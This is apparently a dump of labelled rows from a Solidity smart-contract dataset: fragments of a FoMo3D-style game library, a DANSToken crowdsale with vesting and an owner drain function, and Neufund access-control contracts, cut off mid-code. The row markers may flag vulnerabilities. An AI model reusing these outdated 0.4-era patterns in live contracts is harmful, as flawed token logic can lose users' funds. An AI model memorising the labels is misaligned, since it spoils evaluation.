uint256 compressedData; uint256 compressedIDs; address winnerAddr; bytes32 winnerName; uint256 amountWon; uint256 newPot; uint256 P3DAmount; uint256 genAmount; uint256 potAmount; } struct Player { address addr; bytes32 name; uint256 win; uint256 gen; uint256 aff; uint256 lrnd; uint256 laff; } struct PlayerRounds { uint256 eth; uint256 keys; uint256 mask; uint256 ico; } struct Round { uint256 plyr; uint256 team; uint256 end; bool ended; uint256 strt; uint256 keys; uint256 eth; uint256 pot; uint256 mask; uint256 ico; uint256 icoGen; uint256 icoAvg; } struct TeamFee { uint256 gen; uint256 p3d; } struct PotSplit { uint256 gen; uint256 p3d; } } library F3DKeysCalcLong { using SafeMath for *; function keysRec(uint256 _curEth, uint256 _newEth) internal pure returns (uint256) { return(keys((_curEth).add(_newEth)).sub(keys(_curEth))); } function ethRec(uint256 _curKeys, uint256 _sellKeys) internal pure returns (uint256) { return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys)))); } function keys(uint256 _eth) internal pure returns(uint256) { return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000); } function eth(uint256 _keys) internal pure returns(uint256) { return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq()); } } interface F3DexternalSettingsInterface { function getFastGap() external returns(uint256); function getLongGap() external returns(uint256); function getFastExtra() external returns(uint256); function getLongExtra() external returns(uint256); } library NameFilter { function nameFilter(string _input) internal pure returns(bytes32) { bytes memory _temp = bytes(_input); uint256 _length = _temp.length; require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters"); require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space"); if (_temp[0] == 0x30) { require(_temp[1] != 0x78, "string cannot start with 0x"); require(_temp[1] != 0x58, "string cannot start with 0X"); } bool _hasNonNumber; for (uint256 i = 0; i < _length; i++) { if (_temp[i] > 0x40 && _temp[i] < 0x5b) { _temp[i] = byte(uint(_temp[i]) + 32); if (_hasNonNumber == false) _hasNonNumber = true; } else { require ( _temp[i] == 0x20 || (_temp[i] > 0x60 && _temp[i] < 0x7b) || (_temp[i] > 0x2f && _temp[i] < 0x3a), "string contains invalid characters" ); if (_temp[i] == 0x20) require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces"); if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39)) _hasNonNumber = true; } } require(_hasNonNumber == true, "string cannot be only numbers"); bytes32 _ret; assembly { _ret := mload(add(_temp, 32)) } return (_ret); } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; require(c / a == b, "SafeMath mul failed"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath sub failed"); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; require(c >= a, "SafeMath add failed"); return c; } function sqrt(uint256 x) internal pure returns (uint256 y) { uint256 z = ((add(x,1)) / 2); y = x; while (z < y) { y = z; z = ((add((x / z),z)) / 2); } } function sq(uint256 x) internal pure returns (uint256) { return (mul(x,x)); } function pwr(uint256 x, uint256 y) internal pure returns (uint256) { if (x==0) return (0); else if (y==0) return (1); else { uint256 z = x; for (uint256 i=1; i < y; i++) z = mul(z,x); return (z); } } }
1
3,820
pragma solidity ^0.4.11; library SafeMath { function mul(uint a, uint b) internal returns (uint) { uint c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint a, uint b) internal returns (uint) { uint c = a / b; return c; } function sub(uint a, uint b) internal returns (uint) { assert(b <= a); return a - b; } function add(uint a, uint b) internal returns (uint) { uint c = a + b; assert(c >= a); return c; } function max64(uint64 a, uint64 b) internal constant returns (uint64) { return a >= b ? a : b; } function min64(uint64 a, uint64 b) internal constant returns (uint64) { return a < b ? a : b; } function max256(uint256 a, uint256 b) internal constant returns (uint256) { return a >= b ? a : b; } function min256(uint256 a, uint256 b) internal constant returns (uint256) { return a < b ? a : b; } } contract ERC20Basic { uint public totalSupply; function balanceOf(address who) constant returns (uint); function transfer(address to, uint value); event Transfer(address indexed from, address indexed to, uint value); } contract BasicToken is ERC20Basic { using SafeMath for uint; mapping(address => uint) balances; modifier onlyPayloadSize(uint size) { if(msg.data.length < size + 4) { revert(); } _; } function transfer(address _to, uint _value) onlyPayloadSize(2 * 32) { balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); } function balanceOf(address _owner) constant returns (uint balance) { return balances[_owner]; } } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) constant returns (uint); function transferFrom(address from, address to, uint value); function approve(address spender, uint value); event Approval(address indexed owner, address indexed spender, uint value); } contract StandardToken is BasicToken, ERC20 { mapping (address => mapping (address => uint)) allowed; function transferFrom(address _from, address _to, uint _value) onlyPayloadSize(3 * 32) { var _allowance = allowed[_from][msg.sender]; balances[_to] = balances[_to].add(_value); balances[_from] = balances[_from].sub(_value); allowed[_from][msg.sender] = _allowance.sub(_value); Transfer(_from, _to, _value); } function approve(address _spender, uint _value) { if ((_value != 0) && (allowed[msg.sender][_spender] != 0)) revert(); allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); } function allowance(address _owner, address _spender) constant returns (uint remaining) { return allowed[_owner][_spender]; } } contract LimitedTransferToken is ERC20 { modifier canTransfer(address _sender, uint _value) { if (_value > transferableTokens(_sender, uint64(now))) revert(); _; } function transfer(address _to, uint _value) canTransfer(msg.sender, _value) { super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint _value) canTransfer(_from, _value) { super.transferFrom(_from, _to, _value); } function transferableTokens(address holder, uint64 time) constant public returns (uint256) { time; return balanceOf(holder); } } contract VestedToken is StandardToken, LimitedTransferToken { uint256 MAX_GRANTS_PER_ADDRESS = 20; struct TokenGrant { address granter; uint256 value; uint64 cliff; uint64 vesting; uint64 start; bool revokable; bool burnsOnRevoke; } mapping (address => TokenGrant[]) public grants; event NewTokenGrant(address indexed from, address indexed to, uint256 value, uint256 grantId); function grantVestedTokens( address _to, uint256 _value, uint64 _start, uint64 _cliff, uint64 _vesting, bool _revokable, bool _burnsOnRevoke ) public { if (_cliff < _start || _vesting < _cliff) { revert(); } if (tokenGrantsCount(_to) > MAX_GRANTS_PER_ADDRESS) revert(); uint count = grants[_to].push( TokenGrant( _revokable ? msg.sender : 0, _value, _cliff, _vesting, _start, _revokable, _burnsOnRevoke ) ); transfer(_to, _value); NewTokenGrant(msg.sender, _to, _value, count - 1); } function revokeTokenGrant(address _holder, uint _grantId) public { TokenGrant storage grant = grants[_holder][_grantId]; if (!grant.revokable) { revert(); } if (grant.granter != msg.sender) { revert(); } address receiver = grant.burnsOnRevoke ? 0xdead : msg.sender; uint256 nonVested = nonVestedTokens(grant, uint64(now)); delete grants[_holder][_grantId]; grants[_holder][_grantId] = grants[_holder][grants[_holder].length.sub(1)]; grants[_holder].length -= 1; balances[receiver] = balances[receiver].add(nonVested); balances[_holder] = balances[_holder].sub(nonVested); Transfer(_holder, receiver, nonVested); } function transferableTokens(address holder, uint64 time) constant public returns (uint256) { uint256 grantIndex = tokenGrantsCount(holder); if (grantIndex == 0) return balanceOf(holder); uint256 nonVested = 0; for (uint256 i = 0; i < grantIndex; i++) { nonVested = SafeMath.add(nonVested, nonVestedTokens(grants[holder][i], time)); } uint256 vestedTransferable = SafeMath.sub(balanceOf(holder), nonVested); return SafeMath.min256(vestedTransferable, super.transferableTokens(holder, time)); } function tokenGrantsCount(address _holder) constant returns (uint index) { return grants[_holder].length; } function calculateVestedTokens( uint256 tokens, uint256 time, uint256 start, uint256 cliff, uint256 vesting) constant returns (uint256) { if (time < cliff) return 0; if (time >= vesting) return tokens; uint256 vestedTokens = SafeMath.div( SafeMath.mul( tokens, SafeMath.sub(time, start) ), SafeMath.sub(vesting, start) ); return vestedTokens; } function tokenGrant(address _holder, uint _grantId) constant returns (address granter, uint256 value, uint256 vested, uint64 start, uint64 cliff, uint64 vesting, bool revokable, bool burnsOnRevoke) { TokenGrant storage grant = grants[_holder][_grantId]; granter = grant.granter; value = grant.value; start = grant.start; cliff = grant.cliff; vesting = grant.vesting; revokable = grant.revokable; burnsOnRevoke = grant.burnsOnRevoke; vested = vestedTokens(grant, uint64(now)); } function vestedTokens(TokenGrant grant, uint64 time) private constant returns (uint256) { return calculateVestedTokens( grant.value, uint256(time), uint256(grant.start), uint256(grant.cliff), uint256(grant.vesting) ); } function nonVestedTokens(TokenGrant grant, uint64 time) private constant returns (uint256) { return grant.value.sub(vestedTokens(grant, time)); } function lastTokenIsTransferableDate(address holder) constant public returns (uint64 date) { date = uint64(now); uint256 grantIndex = grants[holder].length; for (uint256 i = 0; i < grantIndex; i++) { date = SafeMath.max64(grants[holder][i].vesting, date); } } } contract DANSToken is VestedToken { string public name = "DAN-Service coin"; string public symbol = "DANS"; uint public decimals = 4; uint public constant CROWDSALE_DURATION = 60 days; uint public constant STAGE_ONE_TIME_END = 24 hours; uint public constant STAGE_TWO_TIME_END = 1 weeks; uint public constant STAGE_THREE_TIME_END = CROWDSALE_DURATION; uint private constant DECIMALS = 10000; uint public constant PRICE_STANDARD = 900*DECIMALS; uint public constant PRICE_STAGE_ONE = PRICE_STANDARD * 130/100; uint public constant PRICE_STAGE_TWO = PRICE_STANDARD * 115/100; uint public constant PRICE_STAGE_THREE = PRICE_STANDARD; uint public constant ALLOC_TEAM = 16000000*DECIMALS; uint public constant ALLOC_BOUNTIES = 4000000*DECIMALS; uint public constant ALLOC_CROWDSALE = 80000000*DECIMALS; uint public constant PREBUY_PORTION_MAX = 20000000*DECIMALS; uint public totalSupply = 100000000*DECIMALS; uint public publicStartTime; uint public privateStartTime; uint public publicEndTime; uint public hardcapInEth; address public multisigAddress; address public danserviceTeamAddress; address public ownerAddress; address public preBuy1; address public preBuy2; address public preBuy3; uint public preBuyPrice1; uint public preBuyPrice2; uint public preBuyPrice3; uint public etherRaised; uint public DANSSold; uint public prebuyPortionTotal; bool public halted; modifier is_pre_crowdfund_period() { if (now >= publicStartTime || now < privateStartTime) revert(); _; } modifier is_crowdfund_period() { if (now < publicStartTime) revert(); if (isCrowdfundCompleted()) revert(); _; } modifier is_crowdfund_completed() { if (!isCrowdfundCompleted()) revert(); _; } function isCrowdfundCompleted() internal returns (bool) { if (now > publicEndTime || DANSSold >= ALLOC_CROWDSALE || etherRaised >= hardcapInEth) return true; return false; } modifier only_owner() { if (msg.sender != ownerAddress) revert(); _; } modifier is_not_halted() { if (halted) revert(); _; } event PreBuy(uint _amount); event Buy(address indexed _recipient, uint _amount); function DANSToken ( address _multisig, address _danserviceTeam, uint _publicStartTime, uint _privateStartTime, uint _hardcapInEth, address _prebuy1, uint _preBuyPrice1, address _prebuy2, uint _preBuyPrice2, address _prebuy3, uint _preBuyPrice3 ) public { ownerAddress = msg.sender; publicStartTime = _publicStartTime; privateStartTime = _privateStartTime; publicEndTime = _publicStartTime + CROWDSALE_DURATION; multisigAddress = _multisig; danserviceTeamAddress = _danserviceTeam; hardcapInEth = _hardcapInEth; preBuy1 = _prebuy1; preBuyPrice1 = _preBuyPrice1; preBuy2 = _prebuy2; preBuyPrice2 = _preBuyPrice2; preBuy3 = _prebuy3; preBuyPrice3 = _preBuyPrice3; balances[danserviceTeamAddress] += ALLOC_BOUNTIES; balances[ownerAddress] += ALLOC_TEAM; balances[ownerAddress] += ALLOC_CROWDSALE; } function transfer(address _to, uint _value) { if (_to == msg.sender) return; if (!isCrowdfundCompleted()) revert(); super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint _value) is_crowdfund_completed { super.transferFrom(_from, _to, _value); } function getPriceRate() constant returns (uint o_rate) { uint delta = SafeMath.sub(now, publicStartTime); if (delta > STAGE_TWO_TIME_END) return PRICE_STAGE_THREE; if (delta > STAGE_ONE_TIME_END) return PRICE_STAGE_TWO; return (PRICE_STAGE_ONE); } function calcAmount(uint _wei, uint _rate) constant returns (uint) { return SafeMath.div(SafeMath.mul(_wei, _rate), 1 ether); } function processPurchase(uint _rate, uint _remaining) internal returns (uint o_amount) { o_amount = calcAmount(msg.value, _rate); if (o_amount > _remaining) revert(); if (!multisigAddress.send(msg.value)) revert(); balances[ownerAddress] = balances[ownerAddress].sub(o_amount); balances[msg.sender] = balances[msg.sender].add(o_amount); DANSSold += o_amount; etherRaised += msg.value; } function preBuy() payable is_pre_crowdfund_period is_not_halted { uint priceVested = 0; if (msg.sender == preBuy1) priceVested = preBuyPrice1; if (msg.sender == preBuy2) priceVested = preBuyPrice2; if (msg.sender == preBuy3) priceVested = preBuyPrice3; if (priceVested == 0) revert(); uint amount = processPurchase(PRICE_STAGE_ONE + priceVested, SafeMath.sub(PREBUY_PORTION_MAX, prebuyPortionTotal)); grantVestedTokens(msg.sender, calcAmount(msg.value, priceVested), uint64(now), uint64(now) + 91 days, uint64(now) + 365 days, false, false ); prebuyPortionTotal += amount; PreBuy(amount); } function() payable is_crowdfund_period is_not_halted { uint amount = processPurchase(getPriceRate(), SafeMath.sub(ALLOC_CROWDSALE, DANSSold)); Buy(msg.sender, amount); } function grantVested(address _danserviceTeamAddress, address _danserviceFundAddress) is_crowdfund_completed only_owner is_not_halted { grantVestedTokens( _danserviceTeamAddress, ALLOC_TEAM, uint64(now), uint64(now) + 91 days , uint64(now) + 365 days, false, false ); grantVestedTokens( _danserviceFundAddress, balances[ownerAddress], uint64(now), uint64(now) + 182 days , uint64(now) + 730 days, false, false ); } function toggleHalt(bool _halted) only_owner { halted = _halted; } function drain() only_owner { if (!ownerAddress.send(address(this).balance)) revert(); } }
1
4,624
pragma solidity 0.4.25; contract IAccessPolicy { function allowed( address subject, bytes32 role, address object, bytes4 verb ) public returns (bool); } contract IAccessControlled { event LogAccessPolicyChanged( address controller, IAccessPolicy oldPolicy, IAccessPolicy newPolicy ); function setAccessPolicy(IAccessPolicy newPolicy, address newAccessController) public; function accessPolicy() public constant returns (IAccessPolicy); } contract StandardRoles { bytes32 internal constant ROLE_ACCESS_CONTROLLER = 0xac42f8beb17975ed062dcb80c63e6d203ef1c2c335ced149dc5664cc671cb7da; } contract AccessControlled is IAccessControlled, StandardRoles { IAccessPolicy private _accessPolicy; modifier only(bytes32 role) { require(_accessPolicy.allowed(msg.sender, role, this, msg.sig)); _; } constructor(IAccessPolicy policy) internal { require(address(policy) != 0x0); _accessPolicy = policy; } function setAccessPolicy(IAccessPolicy newPolicy, address newAccessController) public only(ROLE_ACCESS_CONTROLLER) { require(newPolicy.allowed(newAccessController, ROLE_ACCESS_CONTROLLER, this, msg.sig)); IAccessPolicy oldPolicy = _accessPolicy; _accessPolicy = newPolicy; emit LogAccessPolicyChanged(msg.sender, oldPolicy, newPolicy); } function accessPolicy() public constant returns (IAccessPolicy) { return _accessPolicy; } } contract AccessRoles { bytes32 internal constant ROLE_NEUMARK_ISSUER = 0x921c3afa1f1fff707a785f953a1e197bd28c9c50e300424e015953cbf120c06c; bytes32 internal constant ROLE_NEUMARK_BURNER = 0x19ce331285f41739cd3362a3ec176edffe014311c0f8075834fdd19d6718e69f; bytes32 internal constant ROLE_SNAPSHOT_CREATOR = 0x08c1785afc57f933523bc52583a72ce9e19b2241354e04dd86f41f887e3d8174; bytes32 internal constant ROLE_TRANSFER_ADMIN = 0xb6527e944caca3d151b1f94e49ac5e223142694860743e66164720e034ec9b19; bytes32 internal constant ROLE_RECLAIMER = 0x0542bbd0c672578966dcc525b30aa16723bb042675554ac5b0362f86b6e97dc5; bytes32 internal constant ROLE_PLATFORM_OPERATOR_REPRESENTATIVE = 0xb2b321377653f655206f71514ff9f150d0822d062a5abcf220d549e1da7999f0; bytes32 internal constant ROLE_EURT_DEPOSIT_MANAGER = 0x7c8ecdcba80ce87848d16ad77ef57cc196c208fc95c5638e4a48c681a34d4fe7; bytes32 internal constant ROLE_IDENTITY_MANAGER = 0x32964e6bc50f2aaab2094a1d311be8bda920fc4fb32b2fb054917bdb153a9e9e; bytes32 internal constant ROLE_EURT_LEGAL_MANAGER = 0x4eb6b5806954a48eb5659c9e3982d5e75bfb2913f55199877d877f157bcc5a9b; bytes32 internal constant ROLE_UNIVERSE_MANAGER = 0xe8d8f8f9ea4b19a5a4368dbdace17ad71a69aadeb6250e54c7b4c7b446301738; bytes32 internal constant ROLE_GAS_EXCHANGE = 0x9fe43636e0675246c99e96d7abf9f858f518b9442c35166d87f0934abef8a969; bytes32 internal constant ROLE_TOKEN_RATE_ORACLE = 0xa80c3a0c8a5324136e4c806a778583a2a980f378bdd382921b8d28dcfe965585; } contract IEthereumForkArbiter { event LogForkAnnounced( string name, string url, uint256 blockNumber ); event LogForkSigned( uint256 blockNumber, bytes32 blockHash ); function nextForkName() public constant returns (string); function nextForkUrl() public constant returns (string); function nextForkBlockNumber() public constant returns (uint256); function lastSignedBlockNumber() public constant returns (uint256); function lastSignedBlockHash() public constant returns (bytes32); function lastSignedTimestamp() public constant returns (uint256); } contract IAgreement { event LogAgreementAccepted( address indexed accepter ); event LogAgreementAmended( address contractLegalRepresentative, string agreementUri ); function amendAgreement(string agreementUri) public; function currentAgreement() public constant returns ( address contractLegalRepresentative, uint256 signedBlockTimestamp, string agreementUri, uint256 index ); function pastAgreement(uint256 amendmentIndex) public constant returns ( address contractLegalRepresentative, uint256 signedBlockTimestamp, string agreementUri, uint256 index ); function agreementSignedAtBlock(address signatory) public constant returns (uint256 blockNo); function amendmentsCount() public constant returns (uint256); } contract Agreement is IAgreement, AccessControlled, AccessRoles { struct SignedAgreement { address contractLegalRepresentative; uint256 signedBlockTimestamp; string agreementUri; } IEthereumForkArbiter private ETHEREUM_FORK_ARBITER; SignedAgreement[] private _amendments; mapping(address => uint256) private _signatories; modifier acceptAgreement(address accepter) { acceptAgreementInternal(accepter); _; } modifier onlyLegalRepresentative(address legalRepresentative) { require(mCanAmend(legalRepresentative)); _; } constructor(IAccessPolicy accessPolicy, IEthereumForkArbiter forkArbiter) AccessControlled(accessPolicy) internal { require(forkArbiter != IEthereumForkArbiter(0x0)); ETHEREUM_FORK_ARBITER = forkArbiter; } function amendAgreement(string agreementUri) public onlyLegalRepresentative(msg.sender) { SignedAgreement memory amendment = SignedAgreement({ contractLegalRepresentative: msg.sender, signedBlockTimestamp: block.timestamp, agreementUri: agreementUri }); _amendments.push(amendment); emit LogAgreementAmended(msg.sender, agreementUri); } function ethereumForkArbiter() public constant returns (IEthereumForkArbiter) { return ETHEREUM_FORK_ARBITER; } function currentAgreement() public constant returns ( address contractLegalRepresentative, uint256 signedBlockTimestamp, string agreementUri, uint256 index ) { require(_amendments.length > 0); uint256 last = _amendments.length - 1; SignedAgreement storage amendment = _amendments[last]; return ( amendment.contractLegalRepresentative, amendment.signedBlockTimestamp, amendment.agreementUri, last ); } function pastAgreement(uint256 amendmentIndex) public constant returns ( address contractLegalRepresentative, uint256 signedBlockTimestamp, string agreementUri, uint256 index ) { SignedAgreement storage amendment = _amendments[amendmentIndex]; return ( amendment.contractLegalRepresentative, amendment.signedBlockTimestamp, amendment.agreementUri, amendmentIndex ); } function agreementSignedAtBlock(address signatory) public constant returns (uint256 blockNo) { return _signatories[signatory]; } function amendmentsCount() public constant returns (uint256) { return _amendments.length; } function acceptAgreementInternal(address accepter) internal { if(_signatories[accepter] == 0) { require(_amendments.length > 0); _signatories[accepter] = block.number; emit LogAgreementAccepted(accepter); } } function mCanAmend(address legalRepresentative) internal returns (bool) { return accessPolicy().allowed(legalRepresentative, ROLE_PLATFORM_OPERATOR_REPRESENTATIVE, this, msg.sig); } } contract IContractId { function contractId() public pure returns (bytes32 id, uint256 version); } contract ShareholderRights is IContractId { enum VotingRule { NoVotingRights, Positive, Negative, Proportional } bytes32 private constant EMPTY_STRING_HASH = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; bool public constant HAS_DRAG_ALONG_RIGHTS = true; bool public constant HAS_TAG_ALONG_RIGHTS = true; bool public constant HAS_GENERAL_INFORMATION_RIGHTS = true; VotingRule public GENERAL_VOTING_RULE; VotingRule public TAG_ALONG_VOTING_RULE; uint256 public LIQUIDATION_PREFERENCE_MULTIPLIER_FRAC; bool public HAS_FOUNDERS_VESTING; uint256 public GENERAL_VOTING_DURATION; uint256 public RESTRICTED_ACT_VOTING_DURATION; uint256 public VOTING_FINALIZATION_DURATION; uint256 public TOKENHOLDERS_QUORUM_FRAC = 10**17; uint256 public VOTING_MAJORITY_FRAC = 10**17; string public INVESTMENT_AGREEMENT_TEMPLATE_URL; constructor( VotingRule generalVotingRule, VotingRule tagAlongVotingRule, uint256 liquidationPreferenceMultiplierFrac, bool hasFoundersVesting, uint256 generalVotingDuration, uint256 restrictedActVotingDuration, uint256 votingFinalizationDuration, uint256 tokenholdersQuorumFrac, uint256 votingMajorityFrac, string investmentAgreementTemplateUrl ) public { require(uint(generalVotingRule) < 4); require(uint(tagAlongVotingRule) < 4); require(tokenholdersQuorumFrac < 10**18); require(keccak256(abi.encodePacked(investmentAgreementTemplateUrl)) != EMPTY_STRING_HASH); GENERAL_VOTING_RULE = generalVotingRule; TAG_ALONG_VOTING_RULE = tagAlongVotingRule; LIQUIDATION_PREFERENCE_MULTIPLIER_FRAC = liquidationPreferenceMultiplierFrac; HAS_FOUNDERS_VESTING = hasFoundersVesting; GENERAL_VOTING_DURATION = generalVotingDuration; RESTRICTED_ACT_VOTING_DURATION = restrictedActVotingDuration; VOTING_FINALIZATION_DURATION = votingFinalizationDuration; TOKENHOLDERS_QUORUM_FRAC = tokenholdersQuorumFrac; VOTING_MAJORITY_FRAC = votingMajorityFrac; INVESTMENT_AGREEMENT_TEMPLATE_URL = investmentAgreementTemplateUrl; } function contractId() public pure returns (bytes32 id, uint256 version) { return (0x7f46caed28b4e7a90dc4db9bba18d1565e6c4824f0dc1b96b3b88d730da56e57, 0); } } contract Math { function absDiff(uint256 v1, uint256 v2) internal pure returns(uint256) { return v1 > v2 ? v1 - v2 : v2 - v1; } function divRound(uint256 v, uint256 d) internal pure returns(uint256) { return add(v, d/2) / d; } function decimalFraction(uint256 amount, uint256 frac) internal pure returns(uint256) { return proportion(amount, frac, 10**18); } function proportion(uint256 amount, uint256 part, uint256 total) internal pure returns(uint256) { return divRound(mul(amount, part), total); } function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } function max(uint256 a, uint256 b) internal pure returns (uint256) { return a > b ? a : b; } } contract PlatformTerms is Math, IContractId { uint256 public constant PLATFORM_FEE_FRACTION = 3 * 10**16; uint256 public constant TOKEN_PARTICIPATION_FEE_FRACTION = 2 * 10**16; uint256 public constant PLATFORM_NEUMARK_SHARE = 2; bool public constant IS_ICBM_INVESTOR_WHITELISTED = true; uint256 public constant MIN_TICKET_EUR_ULPS = 100 * 10**18; uint256 public constant DATE_TO_WHITELIST_MIN_DURATION = 5 days; uint256 public constant TOKEN_RATE_EXPIRES_AFTER = 4 hours; uint256 public constant MIN_WHITELIST_DURATION = 0 days; uint256 public constant MAX_WHITELIST_DURATION = 30 days; uint256 public constant MIN_PUBLIC_DURATION = 0 days; uint256 public constant MAX_PUBLIC_DURATION = 60 days; uint256 public constant MIN_OFFER_DURATION = 1 days; uint256 public constant MAX_OFFER_DURATION = 90 days; uint256 public constant MIN_SIGNING_DURATION = 14 days; uint256 public constant MAX_SIGNING_DURATION = 60 days; uint256 public constant MIN_CLAIM_DURATION = 7 days; uint256 public constant MAX_CLAIM_DURATION = 30 days; function calculateNeumarkDistribution(uint256 rewardNmk) public pure returns (uint256 platformNmk, uint256 investorNmk) { platformNmk = rewardNmk / PLATFORM_NEUMARK_SHARE; return (platformNmk, rewardNmk - platformNmk); } function calculatePlatformTokenFee(uint256 tokenAmount) public pure returns (uint256) { return proportion(tokenAmount, TOKEN_PARTICIPATION_FEE_FRACTION, 10**18); } function calculatePlatformFee(uint256 amount) public pure returns (uint256) { return decimalFraction(amount, PLATFORM_FEE_FRACTION); } function contractId() public pure returns (bytes32 id, uint256 version) { return (0x95482babc4e32de6c4dc3910ee7ae62c8e427efde6bc4e9ce0d6d93e24c39323, 0); } } contract IdentityRecord { struct IdentityClaims { bool isVerified; bool isSophisticatedInvestor; bool hasBankAccount; bool accountFrozen; } function deserializeClaims(bytes32 data) internal pure returns (IdentityClaims memory claims) { assembly { mstore(claims, and(data, 0x1)) mstore(add(claims, 0x20), div(and(data, 0x2), 0x2)) mstore(add(claims, 0x40), div(and(data, 0x4), 0x4)) mstore(add(claims, 0x60), div(and(data, 0x8), 0x8)) } } } contract IIdentityRegistry { event LogSetClaims( address indexed identity, bytes32 oldClaims, bytes32 newClaims ); function getClaims(address identity) public constant returns (bytes32); function setClaims(address identity, bytes32 oldClaims, bytes32 newClaims) public; } contract KnownInterfaces { bytes4 internal constant KNOWN_INTERFACE_NEUMARK = 0xeb41a1bd; bytes4 internal constant KNOWN_INTERFACE_ETHER_TOKEN = 0x8cf73cf1; bytes4 internal constant KNOWN_INTERFACE_EURO_TOKEN = 0x83c3790b; bytes4 internal constant KNOWN_INTERFACE_IDENTITY_REGISTRY = 0x0a72e073; bytes4 internal constant KNOWN_INTERFACE_TOKEN_EXCHANGE_RATE_ORACLE = 0xc6e5349e; bytes4 internal constant KNOWN_INTERFACE_FEE_DISBURSAL = 0xf4c848e8; bytes4 internal constant KNOWN_INTERFACE_PLATFORM_PORTFOLIO = 0xaa1590d0; bytes4 internal constant KNOWN_INTERFACE_TOKEN_EXCHANGE = 0xddd7a521; bytes4 internal constant KNOWN_INTERFACE_GAS_EXCHANGE = 0x89dbc6de; bytes4 internal constant KNOWN_INTERFACE_ACCESS_POLICY = 0xb05049d9; bytes4 internal constant KNOWN_INTERFACE_EURO_LOCK = 0x2347a19e; bytes4 internal constant KNOWN_INTERFACE_ETHER_LOCK = 0x978a6823; bytes4 internal constant KNOWN_INTERFACE_ICBM_EURO_LOCK = 0x36021e14; bytes4 internal constant KNOWN_INTERFACE_ICBM_ETHER_LOCK = 0x0b58f006; bytes4 internal constant KNOWN_INTERFACE_ICBM_ETHER_TOKEN = 0xae8b50b9; bytes4 internal constant KNOWN_INTERFACE_ICBM_EURO_TOKEN = 0xc2c6cd72; bytes4 internal constant KNOWN_INTERFACE_ICBM_COMMITMENT = 0x7f2795ef; bytes4 internal constant KNOWN_INTERFACE_FORK_ARBITER = 0x2fe7778c; bytes4 internal constant KNOWN_INTERFACE_PLATFORM_TERMS = 0x75ecd7f8; bytes4 internal constant KNOWN_INTERFACE_UNIVERSE = 0xbf202454; bytes4 internal constant KNOWN_INTERFACE_COMMITMENT = 0xfa0e0c60; bytes4 internal constant KNOWN_INTERFACE_EQUITY_TOKEN_CONTROLLER = 0xfa30b2f1; bytes4 internal constant KNOWN_INTERFACE_EQUITY_TOKEN = 0xab9885bb; } contract IsContract { function isContract(address addr) internal constant returns (bool) { uint256 size; assembly { size := extcodesize(addr) } return size > 0; } } contract NeumarkIssuanceCurve { uint256 private constant NEUMARK_CAP = 1500000000000000000000000000; uint256 private constant INITIAL_REWARD_FRACTION = 6500000000000000000; uint256 private constant ISSUANCE_LIMIT_EUR_ULPS = 8300000000000000000000000000; uint256 private constant LINEAR_APPROX_LIMIT_EUR_ULPS = 2100000000000000000000000000; uint256 private constant NEUMARKS_AT_LINEAR_LIMIT_ULPS = 1499832501287264827896539871; uint256 private constant TOT_LINEAR_NEUMARKS_ULPS = NEUMARK_CAP - NEUMARKS_AT_LINEAR_LIMIT_ULPS; uint256 private constant TOT_LINEAR_EUR_ULPS = ISSUANCE_LIMIT_EUR_ULPS - LINEAR_APPROX_LIMIT_EUR_ULPS; function incremental(uint256 totalEuroUlps, uint256 euroUlps) public pure returns (uint256 neumarkUlps) { require(totalEuroUlps + euroUlps >= totalEuroUlps); uint256 from = cumulative(totalEuroUlps); uint256 to = cumulative(totalEuroUlps + euroUlps); assert(to >= from); return to - from; } function incrementalInverse(uint256 totalEuroUlps, uint256 burnNeumarkUlps) public pure returns (uint256 euroUlps) { uint256 totalNeumarkUlps = cumulative(totalEuroUlps); require(totalNeumarkUlps >= burnNeumarkUlps); uint256 fromNmk = totalNeumarkUlps - burnNeumarkUlps; uint newTotalEuroUlps = cumulativeInverse(fromNmk, 0, totalEuroUlps); assert(totalEuroUlps >= newTotalEuroUlps); return totalEuroUlps - newTotalEuroUlps; } function incrementalInverse(uint256 totalEuroUlps, uint256 burnNeumarkUlps, uint256 minEurUlps, uint256 maxEurUlps) public pure returns (uint256 euroUlps) { uint256 totalNeumarkUlps = cumulative(totalEuroUlps); require(totalNeumarkUlps >= burnNeumarkUlps); uint256 fromNmk = totalNeumarkUlps - burnNeumarkUlps; uint newTotalEuroUlps = cumulativeInverse(fromNmk, minEurUlps, maxEurUlps); assert(totalEuroUlps >= newTotalEuroUlps); return totalEuroUlps - newTotalEuroUlps; } function cumulative(uint256 euroUlps) public pure returns(uint256 neumarkUlps) { if (euroUlps >= ISSUANCE_LIMIT_EUR_ULPS) { return NEUMARK_CAP; } if (euroUlps >= LINEAR_APPROX_LIMIT_EUR_ULPS) { return NEUMARKS_AT_LINEAR_LIMIT_ULPS + (TOT_LINEAR_NEUMARKS_ULPS * (euroUlps - LINEAR_APPROX_LIMIT_EUR_ULPS)) / TOT_LINEAR_EUR_ULPS; } uint256 d = 230769230769230769230769231; uint256 term = NEUMARK_CAP; uint256 sum = 0; uint256 